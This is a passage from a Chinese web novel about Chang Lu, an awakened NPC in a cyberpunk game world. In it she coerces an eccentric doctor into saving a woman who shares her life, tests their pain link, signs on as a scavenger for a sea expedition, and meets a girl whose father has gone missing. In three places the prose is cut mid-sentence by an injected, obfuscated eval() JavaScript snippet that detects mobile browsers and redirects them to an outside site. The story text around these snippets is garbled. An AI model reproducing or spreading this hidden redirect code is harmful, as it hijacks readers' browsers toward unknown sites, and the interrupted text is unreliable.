这三件事已然能构成因果关系。 唱鹿透过悬浮电轨车的防爆玻璃窗往外看。 看向这片繁华与腐败交融、新旧紧密交织在一起的伽马地区。 某股暗潮正在逐渐变得汹涌,曾经被按下不表的事会随之发酵,每个人都将无可避免地被卷入其中。 或许,她已经身处漩涡之中了。 防爆玻璃倒映出唱鹿模糊的身影轮廓。 她看见自己身侧挂着的血量条,比出门前又少了几毫米。 生命正在以肉眼可见的速度消逝。 车载广播响起,目的地到了。 唱鹿起身,下车之前把悬赏令放在了座椅上。 祝你好运。 她在心里默默说道。 也祝我好运。 * 下车后再走一百米就是目的地。 废弃地下商场入口处的建筑和如今的悬浮电轨车车站很类似,听老人说那叫地铁站,是一种早已被淘汰了的公共交通设施。 唱鹿大老远就瞧见有几个人守在入口处。 他们统一制服着装,腰间都配备有警枪,正在对每一个路过的人进行盘查。 是联邦巡警。 唱鹿不觉眉心一跳。 如果这个破游戏有幸运值,那她的现在一定是负数。 调头离开必然会引起怀疑,唯有见机行事了。 唱鹿摘下墨镜,挺胸抬头地走过去。 不出意外地被拦下了。 全身扫描,核验身份,指示灯由始至终都是绿色。 绿色代表她没有任何嫌疑。 唱鹿悄悄松了口气。 负责扫描的巡警给同事递了个眼神。 另一名巡警拿出投影仪,投出一个半身像后,问道:“有没有见过这个人?” 唱鹿扫了一眼,摇头。 确实不认识,见都没见过。 投影是一个三十来岁的女性。 自然人,样貌普通,无明显特征。 唯一能给人留下印象的是她的双眼,鹰一般锐利,眼神中饱含坚毅。 唱鹿猜这人应该和军队有关,至少也是个雇佣兵什么的。 因为这种刀尖舔血的眼神,只在退伍老兵身上见到过。 她自然而然往右下角看。 女人的名字:剪瑚。 “如果在哪里见到她,一定要上报给联邦,否则连你一起抓进去。”威胁过后,巡警挥挥手,“行了,你走吧。” 唱鹿重新戴上墨镜,沉默地走了过去。 她没有表现出来,但有点好奇。 联邦的警员划分很明确,巡警在金字塔钟属于底层,也是一群公认的米虫,经常把本职工作外包给安保队。 能让米虫亲自设关排查嫌疑人…… 这个女人一定做了什么让联邦不敢公开的事。 - 沿着入口的阶梯一步步往下,深入幽暗。 越往下越能感觉到阴冷潮湿。 一直走到艳俗的霓虹招牌灯出现,戴着战士面具的守卫抱手站在电梯前。 “去哪儿?”他说。 “负五层。”唱鹿拿出老板娘给的虚拟通行证,“我找庸医。” 扫过通行证,电梯门才会打开。 守卫先进,唱鹿再进。 地下商场的规矩就是这样,不管去哪一层,都必须由电梯守卫带领。 电梯行至负二层时,唱鹿假装不经意地开口,“外面守着一群警察,我还以为不让进来呢。” “三天两头找借口下来搜查,连根毛都没找到。” 这句话让唱鹿提炼出几个信息。 一,犯人逃匿已有一段时间。 二,联邦认为犯人最可能躲在地下商场里。 三,联邦确实不敢对外公开犯人的罪行。 她继续用调侃的语气道:“犯的什么事,能让联邦有这么大阵仗。” “这还需要理由?”守卫没好气,“呵,好端端的也抓,这些年没少见。” 好端端……可不一定。 他不就没看出她有问题吗。 如此看来,联邦正在找的那个女人,长着一对鹰眼的女人。 极有可能也是已经觉醒了的NPC。 “到了。” 电梯停下,门自动打开。 一条长得不见尽头的走廊出现在眼前。 灯光昏暗,依稀能看见生锈的管道攀附在斑驳掉皮的墙壁上。 走廊两侧每隔一段距离就有一扇门,或是蓝色,或是红色,全都陈旧黯淡,看得出被岁月腐蚀的痕迹。 远处传来滴滴答答的水声,时有时无的,很符合这里年久失修的氛围。 守卫站在电梯里没出来,伸手给她指路,“右手边第三扇红门,你要找的人就在里头。那人脾气不好,我们都不喜欢和她来往,你自己注意点。” “好,谢谢。” 老板娘也提醒过她,要找的这名医生性格十分古怪,不好请。 不好请也得请。 事关性命,再难也得试试。 唱鹿站在第三扇红门前。 门上除了一个可开关得长方形窥视窗外,没有任何装饰,也没有门牌,更没有门铃。 她敲门。 回应几乎同时响起,“没空!不出诊!” 意料之中的结果。 唱鹿平静道:“老板娘介绍我来的。” “啪嗒!” 窥视窗被从里面打开,一双紫罗兰色的眼瞳紧贴在窗框边上,认真打量她。 屋内的人问道:“她还说什么?” 不等唱鹿答复,又说:“算了,你进来吧。” 门开了。 唱鹿先注意到这个女人。 第一印象,她不像医生。 女人没戴口罩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806272|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,穿着破旧的白大褂,褂上遍布脏污,左一块右一块。 她的头发蓬松卷曲,张牙舞爪似的落在肩头,还有几处打结,发尾沾了点不明液体。 “关门。”她说,“还有,我不跟有伪装的人打交道。” 唱鹿反手把门关上,开始审视这间屋子。 一边观察,一边把墨镜和口罩摘下。 大概和一间车库差不多大小,密闭无窗,东西很多很杂,放得也很随意。 屋内最大的物件是一张手术台,它摆在了最深处,上面还有干掉的血迹。 “你是庸医?” “别和我说那个女人只告诉了你我的名字。”庸医背对着她,站在一张乱糟糟的方桌前不知道在摆弄什么。 “她还说,我得自己想办法说动你。” 庸医的手停住。 随后笑了一声,不可置否道:“没有百分百的条件,我不会走出这扇门。现在,可以开始你的表演了。” 唱鹿轻声道:“很可惜,我口才不好。” 庸医头也不回,“那你说个(脏话消音)……” “但我想——”她摸出藏在袖子里的匕首,刀尖抵上庸医的腰,对方肉眼可见地全身瞬间僵直,“医生,你也知道医者不能自医,对吧?” 庸医放下手里的药罐,举起双手,“我最近应该没有得罪她吧?” 唱鹿没懂,“嗯?” 庸医试图用余光瞄她,没能瞄到,“那个女人介绍来的人里,你是第一个威胁我的。我还以为她的客人至少都是通情达理的人,不会动不动就拔刀。” “哈,那真是不好意思,我换个方式。” 收刀的刹那,庸医抓起药罐就要往后头砸。 岂料一转身,对上的是黑乎乎的枪口。 唱鹿持枪抵住她的眉心,微微一笑,“请问我的表演你还满意吗?” 庸医尴尬地“哈哈”两声,缓缓将药罐重新放下,“有话好说,来,坐下说。” 两人都死死盯着对方。 庸医一边后退,一边拉开桌下的椅子。 唱鹿伸出腿把另一张椅子勾出来,一屁股坐在她对面。 坐下来,气氛也缓和了许多。 “简单说说。” “我手上有个人,女的,自然人,年纪和我差不多,受了很严重的伤,开膛破肚的那种,还活着,估计很快就会死。我要你救她。” “不能带过来?” “不能。” “她在哪儿?” “我家,浴缸里。” 庸医看着唱鹿。 唱鹿也看着她。 “医生,你说能治吗?” “我说……”庸医咽了下口水,“你能不能先把枪放下。” 方桌下,唱鹿的手里还握着枪。 枪口对准庸医的腹部,一发下去,不死也得重伤。 唱鹿眨眨眼,一脸无辜。 看得出庸医发自内心地想掐死她,但她就喜欢别人露出这种看她不爽却又搞不死她的表情。 “能治!”庸医忍不住了,“不就是开膛破肚吗,五马分尸我都给你拼好救活了。” 很好。 唱鹿把枪收好,下一秒,发现庸医正贼兮兮地端详她的脸。 “你脸色不太好,我先帮你看看。” “不必……” 庸医不容拒绝地抓起她的手,认真把脉。 表情先是疑惑,再转为深沉,搞得唱鹿很不安。 她很清楚自己快死了。 并不需要一个医生来下死亡通知书。 庸医的眉头终于松开,“有人对你用了赐福?” “应该是吧。” 让两个人共享一条命。 除了赐福之外,确实想不出其他了。 “你要我救的那个人?” “对。” 庸医从椅子上弹起来,拎起地上的两个大箱子。 走到大门旁,见唱鹿还坐着,甚至催促道:“愣着做什么,带路啊!” 唱鹿:“……” 这人好像有点兴奋是怎么回事? 8. 招聘 008. 浴缸里,裹尸袋中的人还保持着原有的姿势。 她的呼吸非常微弱,身侧挂着的血量条仅剩下5%。 庸医蹲在浴缸旁。 先是掀开女人的眼皮,再把裹尸袋完全拉开,观察女人胸前的伤口。 “没错,的确是赐福重创造成的伤口。很特别的武器,你瞧,骨头上还留有玻璃渣……”庸医说用镊子在女人的血肉中夹起一块染血晶体,“她受伤到现在多久了?” 唱鹿站在后头,“至少十个小时。” “怎么活到现在的……”庸医皱眉自语。 从伤口的严重程度,以及女人的失血量来看,她应该已经死了。 还能吊着一口气,实在是匪夷所思。 除非—— 庸医扭头看向唱鹿,寻求一个答案。 唱鹿举起右手示意。 她们一走进浴室,这条血红的链路便出现了。 庸医明显看不到,脸上流露出迷茫。 唱鹿解释道:“她对我用了赐福,拿走了我一半的生命,这就她还能活着的原因。” 庸医眯起眼睛,微微扬起的唇角显得有些狡黠,“难怪。” 这句难怪在唱鹿听来有两层意思。 难怪她明明没有受伤,却显得这么虚弱。 难怪她不惜武力威胁庸医救人,因为再拖下去,她也会死。 “这里不方便。”庸医起身,“搭把手,帮我把人搬到外头的桌子上。” 唱鹿的租下的这间屋子是一房一厅结构,厨卫各自独立,附带一个小阳台。 家具都是自带的,大部分唱鹿都用不上。 比如现在被拿来当手术台的这张餐桌。 她不会做饭。 平时不是去未央阁,就是叫外卖。 外卖也是窝在沙发上吃。 因此餐桌就显得很碍事,于是被唱鹿推到了墙边。 除了偶而放放东西,绝大部分时间都是闲置状态。 没想到有一天还能有这用途。 把人搬到餐桌上后,庸医打开她的两个箱子。 里头净是没见过的医疗工具,造型有些狰狞,想不出具体用法。 庸医先用清水洗净女人的伤口,唱鹿这才看清她的胸膛并非由利刃剖开,而是被炸开的。 胸膛到腹部的皮肉像花瓣一样朝外翻,断裂的白骨从侧面刺穿。 将残留在女人体内的玻璃渣一一捡出来,庸医笃定道:“有人往她身体里塞了一颗玻璃炸弹。” 唱鹿很怀疑,“你认真的?” “其实我更倾向于是玻璃进入她体内之后,以某种方式爆炸了。” 玻璃炸弹? 活到现在还没见过这种东西。 庸医手上的活不停,挑完玻璃渣之后,又拿出了手术刀和钳子。 唱鹿离远远地坐在另一侧靠墙的沙发里,眼睛望向阳台外。 她的感官好像麻痹了。 庸医在给女人开刀,可她竟然一点都不觉得痛。 通感没有消失,链条还在。 只是不痛。 仔细回想,痛觉真正消失似乎是从她见到庸医开始。 唱鹿的目光重新落到庸医身上。 她是受赐者。 手术持续了很长时间。 庸医使出浑身解数才把女人断裂的骨头重新链接固定好。 骨头归位,血条也终于彻底稳定下来了。 现在是0.3%。 好险,差点就死了。 而后又过了一个小时,这场手术才迎来最后的阶段——缝合。 等到一切结束,已是午后。 庸医来叫醒她时,唱鹿才发现自己不知何时睡着了。 “手术很成功。”庸医摘下手套,笑眯眯的。 唱鹿用手肘撑起上半身,还未完全清醒便下意识望向餐桌。 女人的血条回涨到了10%,说明已经脱离了生命危险。 “你的脸色也好多了。” “是你医术高超。” “哈哈……这真是对我最好的夸奖。” 唱鹿揉着脸从沙发里爬起来,此时墙上的时钟已经指向了下午两点,早已过了午饭时间。 她走到厨房打开冰箱,“我这里有燕麦和咖啡口味的营养剂,半块芝士蛋糕,还是说你想吃泡面?” “泡面吧,正好饿了。” 两碗泡面,一人一碗。 她们一起窝在沙发上,注视着对面餐桌上不知道是昏迷还是熟睡的女人,默默地吸着面条。 “她什么时候会醒?” “快则三五天,慢则七八天。”庸医把叉子伸过来,“让我尝尝你的——” 唱鹿把碗递过去。 庸医不客气地叉走一大坨面,直接往嘴里塞,“嗯……还是我这碗比较好吃。话说回来,我还不知道你叫什么呢?” “唱鹿。” “你的发色很特别。” “你的瞳色也很特别。” 两人对视。 看得出都很欣赏对方的厚脸皮。 庸医换了个更舒服的坐姿,说:“我们来合作吧。” 唱鹿以为自己听错了,“你应该还记得几个小时前我把枪抵在你头上吧?” “终身难忘。”她耸肩,“但我更看中长远的利益。” 唱鹿沉默。 能和一位能起死回生的医生成为合作关系当然是好。 但合作代表要相互信任。 想要相互信任,其中必须考量的东西可就多了…… 见她犹豫,庸医继续说:“任何时间,任何地点,我都可以为你提供医疗支援。作为交换,如果你杀了受赐者,不管什么类型,记得联系我。” “我不着急,你可以慢慢考虑。” “想好了就打这个电话。” 随着她的话语落下,一串号码自动录入唱鹿的耳坠里。 这一次,选项没有弹出。 * 第二天,唱鹿照常去上班。 五点下班后,她去了趟下水道仓库。 把剩下两根高效愈合剂拿上,又挑了几只营养液,还拿了一支强效麻醉针和一捆牛筋绳。 不为别的,以防万一。 在前往未央阁的路上,唱鹿看见联邦的警察在裁撤刺鲸发布的悬赏令。 每隔十米就有一副,生怕别人不知道伽马地区有个行走的十万通用币。 她假装没看见,照旧在未央阁里吃了碗牛肉盖饭,然后回家。 今晚不准备接活。 有些事情她得花点时间亲自验证一下。 - 手术后经过一天一夜,女人的血量条已经完全涨满。 她还躺在客厅的餐桌上。 因为钻过垃圾山,浑身散发出一股难以描述的气味。 唱鹿往女人胸口处打了一只强效愈合剂。 庸医手术用的是可吸收生物缝线,昨天刚做的缝合,今天已经深嵌到皮肤中了。 再加上强效愈合剂的催化,原本凹凸不平的伤口以肉眼可见的速度愈合,直到缝线彻底融入肌理,只留下一道浅粉。 确保伤口没有感染风险后,唱鹿把女人扛进了浴室。 花了半个小时把她洗干净,换上一身睡衣,总算有个人样了。 洗完澡,唱鹿又将她搬到沙发上,往嘴里灌了一支营养液,免得把人给饿死了。 为了让女人睡得舒服点,她还拿出了备用枕头和毯子。 这辈子第一次如此精心地照料一个人。 累得唱鹿不由得长吁一口气。 接下来,她要做一个小试验。 因为在女人醒来之前,她必须彻底搞清楚链路的作用和出现的规律。 目前已知: 其他人看不见链路。 链路会在双方距离拉远时消失,也会在双方皆满血时消失不见。 但不管链路是否消失,通感始终都在。 未知则是: 女人是否也能看到链路? 通感除去受伤之外,是否还包括本人身体上的不适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806273|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 通感是相互的,还是单向的? 链路的出现是否和受伤有直接关系? 前两个问题暂时无法单独验证,但后两个问题可以。 唱鹿拿出水果刀,狠狠往掌心喇了一刀。 皮开肉绽,鲜血直流。 女人的血量条稍微下降了一点,她也透过镜子看见自己的血量条下降了同样的百分百。 与此同时,那条血红的链路出现了。 它的两头分别缠绕着唱鹿的右手和女人的左手。 很好。 如此看来,链路的出现的确和受伤有直接关系。 唱鹿因共享生命受制于这个女人,但实验结果表明对方在这一点上也讨不了好。 在赐福解除之前。 要生一起生,要死一起死。 那么接下来—— 唱鹿把刀尖对准掌心的伤口,咬紧后槽牙,刺了下去! 那一瞬间,女人似乎皱了下头。 没看清,唱鹿缓缓旋转刀刃,让痛感更加猛烈。 这一次,沉睡中的女人不仅面露难色,左手也有些轻微的痉挛。 她显然感觉到了疼痛。 初步有了答案,唱鹿把刀丢到一旁,拿出提前准备好的第二只高效愈合剂,打入三分之一。 鲜嫩的肉芽迅速在伤口处生长,相互交织。 分裂的血肉在肉芽的拉扯下并和到一起,最终融为一条淡淡的粉色。 之后的两天,唱鹿以同样的方式进行试验。 满血,掉血。 愈合,割伤。 反复多次之后终于可以确定: 链路会在两人满血以及双方距离太远时暂时隐形,通感不会消失且是彼此互通的。 最后一次试验结束,唱鹿把用光的高效愈合剂丢进垃圾桶。 她有种预感,这个女人差不多快苏醒了。 * 今天安保队接到的工作是协助联邦巡警逮捕一名越狱的要犯。 为保万全,成员们都全副武装,所幸没有伤亡。 工作结束后,安保队众人回到集合点卸装备。 “今天下班后有什么打算?” “朋友生日,请我们去梦境里玩玩。” “可以呀,指不定你也能在梦境里得到赐福呢!唱鹿今晚有什么活动吗?” 唱鹿把枪械和子弹都放进保险柜里锁好,笑着回应道:“我?当然是去打工啦,房租都还没交呢。” “哎,真是辛苦,加油咯!” 五点到了,其他成员陆陆续续离开,只剩唱鹿一人还坐在椅子上。 她正在逛[给大伙儿整点活儿]论坛。 论坛里的曝光贴变多了,发帖人都是去应聘奇葩工作后发生上当的。 其中最热门的帖子盖了一百层的高楼。 [标题:打工牛马抛弃自尊满足无良雇主的奇葩要求,被以“你长得不够好看”为由拒绝支付佣金!] [联动指路:想雇几个美男边唱《只要给够加班费,当牛做马无所谓》边刷马桶] [首楼:雇主要求我们穿黑丝女仆装,唱歌必须用夹子音,不仅要唱得好听,马桶还得刷得干净。面试时说我是他唯一看中的男人,三个小时后说我长得太丑了像池塘里的癞蛤蟆,拒绝支付佣金!] 唱鹿正吃瓜呢,系统突然弹出提示: [您的特别关注人‘地菩萨’发布了新的招聘贴,快来看看吧!] 地菩萨? 当了几天缩头乌龟,终于肯出来了。 唱鹿反手点进招聘贴。 [标题:出海捕捞,具体人数待定,看清条件再联系!!!] [首楼:缺清道夫和舵手。年龄、性别、种族都不限,但必须是受赐者!] 清道夫可是唱鹿的专长。 只是这‘必须是受赐者’……地菩萨到底在玩哪一出? [1L你鹿姐:佣金没保障,要求还挺高。] 刚回完贴,手指还没挪开,铃声响了。 来电人:地菩萨。 9. 合约 009. 地菩萨在通话里只说了三个字: 见面谈。 二十分钟后,独轮摩托停在当铺门前。 唱鹿摘下头盔,下意识往隔壁的机械义肢店看去,发现关门了。 门上没有任何告示。 门口原先摆着的板凳和盆栽也都撤走了。 像突然倒闭了一样,整个店面看起来萧条无比。 唱鹿知道暂时的。 能在这条街上开店的都是人精。 最是懂得见风使舵、风险规避,今天出事今天躲,明天无事明天现。 让唱鹿感到奇怪的反而是地菩萨的当铺。 这人明明都已经回来了,可当铺并没有正常开张做生意。 防盗卷帘门垂下三分之二,只留底下的三分之一,里头黑黢黢的,甚至没有开灯。 正寻思着打个电话问清楚,一双毛茸茸的兽腿出现在卷帘门后。 一把粗犷又雌雄莫辨的嗓音响起:“进来吧。” 里头的人是地菩萨没错。 唱鹿打消怀疑,俯身从门底下钻进了当铺里。 卷帘门自动下降直到触底。 当铺里没开大灯,平时谈生意的那方茶桌上亮了一盏昏黄的小灯。 微弱的光线照着周遭的古董。 有剩一半的炎龙头盖骨,妖里妖气的罗刹女像,闪闪发光的千面佛金身,和许许多多唱鹿叫不上名字的老物件。 这些东西随便一件就是上万通用币。 光照太差,视野不好,唱鹿一路走得很小心,免得把这些古董给磕碰了。 实在赔不起。 地菩萨在前面缓缓地走,领着她一直走到茶桌后的另一扇门,推门而入。 唱鹿猜测这门的后头应该是仓库。 和地菩萨认识这么多年,她还是第一次进去呢。 外间昏暗,里间明亮。 唱鹿眯着眼睛适应了十几秒。 这间仓库很宽敞。 但与其说是仓库,不如说是一个能住人的单间。 有桌有椅,有衣柜,还有冰箱。 一侧的天花板悬下一张吊床,枕头被褥一应俱全。 “你平时就住在这里?”唱鹿一边扫视周围,一边问道。 “嗯。”地菩萨应了声。 这声听起来有点怪,挺痛苦似的。 她循声往那头看去。 地菩萨是兽耳族。 准确来说,是存在某种基因异变的兽耳族。 一般兽耳族的特征是兽耳和兽尾,但地菩萨全身上下都兽化了。 皮毛覆盖,獠牙兽爪。 五官也完全是原始野兽的模样。 活脱脱黑熊成精。 地菩萨站在敞开的冰箱前,从里头掏出一根愈合剂就往左边肩头上扎。 这一举动也让唱鹿注意到一件事。 地菩萨没了一只左手。 仔细看,是从左肩肩峰开始便没了。 伤口的形状很不规整,普通武器无法造成这种缺口。 唱鹿一眼就看出他的断臂不大正常。 加之先前机械义肢店的老太太说地菩萨出海去了。 合理推测。 地菩萨的左手是被异种咬断的。 异种来自深海。 它们模样诡异,攻击性极强,是出海捞金过程中最大的威胁。 为了对付异种,保障出海顺利。 清道夫诞生了。 清道夫说白了就是打手。 主要负责清理打捞过程中出现的异种,保证团队里其他人员的安全。 作为一名上岗几年的清道夫,死在唱鹿手里的异种没有成千也有小几百。 在猜出地菩萨的遭遇时,新仇旧怨顿时都成了一句嘲讽。 她笑。 轻描淡写,又恶意满满,“听说你出海了,看来收获不少嘛。” 扎完愈合剂,地菩萨的面容舒展不少。 他能听出唱鹿的不满和讥讽,也知道问题出在哪里。 没有生气,没有解释。 只说:“我没料到刺鲸会出尔反尔。你放心,我一定会给你一个合理的交代。” 有了这句话,唱鹿心里的结虽然还没能完全解开,胸中的浊气倒也疏通了不少。 见地菩萨正在缠绷带,单手使了半天劲儿还是没缠好。 她不禁心一软,“我来吧,你坐下。” 地菩萨把绷带交给她,又依言找了张椅子坐,乖乖地没再出声。 打小在腥风血雨里长大,流血受伤是家常便饭。 包扎伤口这种事,唱鹿闭着眼睛都能干。 三两下帮地菩萨把左肩包扎好,她换上了比较关切的语气,问:“你在海上遇见事儿了?” 知道瞒不过她,地菩萨说:“我组了只捕捞队,都是熟手。本来一切顺利,直到……八个人,最后只有两个人活了下来。一个是我,另一个是智械。” 智械的确难杀。 可但凡有经验的,出海都不会带智械。 海上的风与湿度,对机械改造过的智械非常不友好,能坚持住不宕机已经是幸运了。 听完他的描述,唱鹿把他这次失败归咎于经验少又太冲动。 遂以过来人的身份劝道:“海上变化多端,下次记得多做点功课,别把剩下这只手也搭进去。” 没想到一向恭谨谦和的地菩萨竟会出声反驳,“呵,现在出海可不是靠以往经验就能应付得了的。” 唱鹿挑眉。 瞧这话说的,老清道夫可不爱听。 意识到这句话已然把唱鹿得罪了,地菩萨后续的语气变得谦恭,“鹿姐,您上次出海是什么时候?” 上次出海…… “两个周期前。” 地菩萨一脸“果然如此”的表情,“您就没想过为什么?两个周期这么长,以前合作过的那些船长,就没有一个再联系您?” 唱鹿的双唇抿成一条线。 说实话,想过。 两个周期前,她还是最受欢迎的清道夫。 有时邀约太满,还不得不推掉几个。 可不知道为什么,近两个周期愣是接不到一个出海的活儿。 好不容易等来一个,临行之前通知她不用去了,宁愿付违约金也要换人。 她找那些船长问过。 要不答非所问,要不就是摆出一副“懂得都懂不好解释”的态度。 至今都没有得到过一个明确的答复。 正因如此,她才想着从清道夫转为恶魔猎手。 铁饭碗哪怕没事做也有底薪拿啊! 不过既然地菩萨这么问了,说明他知道其中的缘故。 唱鹿反问他,“为什么?” “鹿姐,要变天了。” “这个世界马上就是受赐者的天下了。” “我们手里的武器不足以对付海里的那些怪物了。如果我能早点知道,就不会失去这只左手。” 靠蛮劲和火力强杀异种的时代已经悄然过去。 身为清道夫却不是受赐者,注定会被淘汰。 得知真相,唱鹿的心弦颤动了一下。 她似乎早有预感。 在她知道自己只不过是一个游戏里的NPC时,便隐约意识到了一些东西。 她穷。 她是个NPC。 她没有入梦的资金。 哪怕有钱,能够入梦了,或许也没有遇见赐福的好运。 她可以接受。 又不甘心命运的安排。 唱鹿把手伸进口袋里,摸出那枚有些混浊三棱柱,“你知道这是什么吗?” 地菩萨立马从椅子上弹了起来。 动作幅度太大,导致椅子被撞倒在地,发出砰一声巨响。 他的样子也不大对。 双眼发红,浑身炸毛。 唱鹿脊背莫名一凉,肌肉瞬间绷紧。 又见地菩萨火急火燎地朝自己扑过来,她赶忙往侧边一闪。 这一扑没能抓找她,地菩萨换了个方向继续追来。 危险预警没有响起,说明地菩萨对她没有敌意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806274|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他这形象完全就是一只两米高还张牙舞爪的大黑熊,唱鹿很难不提防。 站定,转身。 地菩萨的爪子还没碰到她时,小刀已然从袖中抽出,刀尖抵住他的脖子。 “你最好马上给我冷静下来。”唱鹿手上暗暗使劲以示威胁,“否则我就割开你的喉咙。” “让我看看,快让我看看你的——” “冷静!”又一次命令。 唱鹿斜睨他,“你应该知道,我向来说到做到。” “好好好。”地菩萨举起仅有的右手,“我会冷静,给我半分钟。” 他在房间里来回踱步,反复呼气吐气,直到毛发顺下去,眼睛慢慢恢复常态。 情绪降温后,地菩萨把椅子扶好坐下,用行动表示自己不再激动。 唱鹿点点头,他才说:“你手上拿着的是魔方碎片。” “魔方?” “受赐者就是在梦境里获得了魔方才拥有了赐福。”地菩萨一边解释,一边难以克制地舞动右手,“换句话说,赐福就是魔方。” 大概能理解是什么意思。 可问题是……她没去过梦境,这枚三棱柱是那只黑猫叼来的,来路不明。 而且她找未央阁的老板娘鉴定过,人家说这玩意儿不值钱。 难道老板娘在故意骗她? 可真要骗,也应该趁机把魔方碎片骗走,而不是让她自己留着…… 这事从头到尾有太多让唱鹿想不明白的地方。 地菩萨又问:“鹿姐,您得到它之后有没有什么特殊的感觉?” “有过两次,都很短暂。” 当时她和麻薯正在扫雷。 如果没有那短暂的奇妙体验,敌方的角鳞族已经爆了两人的头。 “因为你获得的不是一块完整的魔方,你只是拿到了一小块碎片。” “当然,利用得当的话,碎片也能有大作用。可如果想感受到赐福真正的威力,你就必须找到剩下的碎片,重新拼凑成一块完整的魔方。” 地菩萨越说越激动,语气也越来越高昂,“完整的魔方可以让持有者随时随地使用赐福——” 唱鹿忍不住打断他,“所以,按照你的说法,我该去找魔方的其他碎片。” “是,没错!” “哦,那我该怎么去找其他碎片?我又怎么辨认我找到的碎片和我拥有的碎片来自同一块魔方?假设我找到了所有碎片,我又该怎么把它拼凑成一块完整的魔方,用502胶水吗?” “这……我对魔方的了解也不多。” “你是想说你都不知道。” “确实不太清楚。” 唱鹿给了他一个大大的白眼。 这番话不就如同于告诉你,你已经有了逆天改命的希望。 等你高兴得开始鼓掌时,又说: 是有,但不多。 好在唱鹿已经习惯了这种大起大落。 她心态好,有总比没有好。 于是拍拍手,转身准备离开,“我摩托车放当铺门口了,你记得帮我找个新的油箱换上,多少钱算你头上,我过几天再来验货。” 脚还没跨出门,被地菩萨叫住。 “鹿姐,我船上正好缺清道夫,您要不考虑一下?” 生意主动找上门,唱鹿没有拒绝的理由。 太久没出海,又冷不丁听到海上有变化,她确实想亲眼看看到底是怎样。 “时间呢?” “人齐了就出发,三天内。” “行,你准备给我什么样的报酬?” 两人对视。 “那得看您想要什么了。” “捕捞完成后,让我入一次梦。” “成交。” - 任务:出海捕捞 甲方:地菩萨 乙方:唱鹿 甲方职能:船长 乙方职能:清道夫 佣金:一张入梦门票 地点:数据海 时间:合约签订起三日内 附注:自愿参加,后果自负 10. 失踪 010. 离开当铺后,唱鹿在附近随便找了家路边摊吃晚饭。 联邦要对刺鲸动刀的事传遍了街头巷尾。 食客们都在小声地八卦,讨论联邦突然这么做的理由。 刺鲸毕竟已经成立了几十个纪年,联邦一向默许它的存在。 两者有时甚至还会合作…… 唱鹿之前也有点想不通。 可现在她知道为什么了。 蓝血。 梦境。 赐福魔方。 刺鲸作为伽马地区最大的民间组织,同时拥有最庞大的蓝血资源。 蓝血是梦境的原材料。 把控了蓝血,相当于手握赐福。 当这样的因果关系越来越明显之后,联邦自然不能继续容忍刺鲸的存在。 也许联邦早就盯上刺鲸了,只是在等一个合适的机会。 直到,有人夜袭N278港口。 唱鹿默默戴上耳机屏蔽周围的说话声,点开[给大伙整点活儿]论坛。 招聘板块里有不少新帖,挑来挑去没有特别合适的。 正想着要不接几个跑腿的活儿算了,一个新的招聘帖冒了出来。 [标题:急急急,帮忙寻人,报酬可以商量!] [首楼:要求必须是女生,不限种族,有意愿且符合条件的请拨打GM-6778695] 绝对不是中介发的帖子,因为不够全面。 总觉得哪里怪怪的…… 唱鹿点进发帖人的头像,发现这是个五分钟前刚注册的新号。 发帖人挺着急啊。 抱着试一试的心态,她拨通了帖子里的号码。 对方秒接,是个年轻的女孩。 女孩不仅发帖急,现实中也很急。 急得结结巴巴,三秒能说完的事,得用三十秒才能说清楚。 费了好大的劲儿才确定了见面地点。 那是一栋普通的居民楼。 距离不远,步行五分钟就能到。 唱鹿把最后一口炒面扒拉完,结完账就出发。 - “那个……我泡了茶。” 女孩端着茶壶颤颤巍巍地走来。 她满脸疲惫,纤细的双手也有点抖,感觉随时要倒下似的。 唱鹿三两步上前接过茶壶,“我来吧。” 女孩小声道歉,“实在不好意思……太阳一下山我就特别累。” 这女孩就是发帖人,还是个逐日族。 现在是晚上七点,大多数逐日族在这个时间都已经睡下了。 若是强撑清醒,就会像眼前这个女孩一样,蔫了吧唧。 唱鹿把茶壶放在茶几上,开门见山道:“你想让我帮你找谁?” 她低下头,“找……找我的父亲。” 女孩自称叫暮烟,母亲早逝,和父亲相依为命。 她的父亲是角鳞族,五十岁,身高大概一米七五,体重一百五十公斤,体型偏壮,曾经在港口当过卸货工,后来在附近的超市当保安。 暮烟的父亲因为工作原因需要值夜班,考虑到暮烟的种族特性,两人每天的傍晚和第二天的早晨都会互通电话报平安。 四天前的早上,暮烟没有接到父亲的来电。 却没想接下来几天,直至今日,依旧了无音讯。 她怀疑父亲失踪了。 或者说,已经遇害。 唱鹿听到这里,心里大概有数,“报过警吗?” 暮烟点点头,“联邦的人只做了简单的登记,还说失踪要超过七天没有任何消息才能立案,所以我才……” “你有没有出去找过他?” 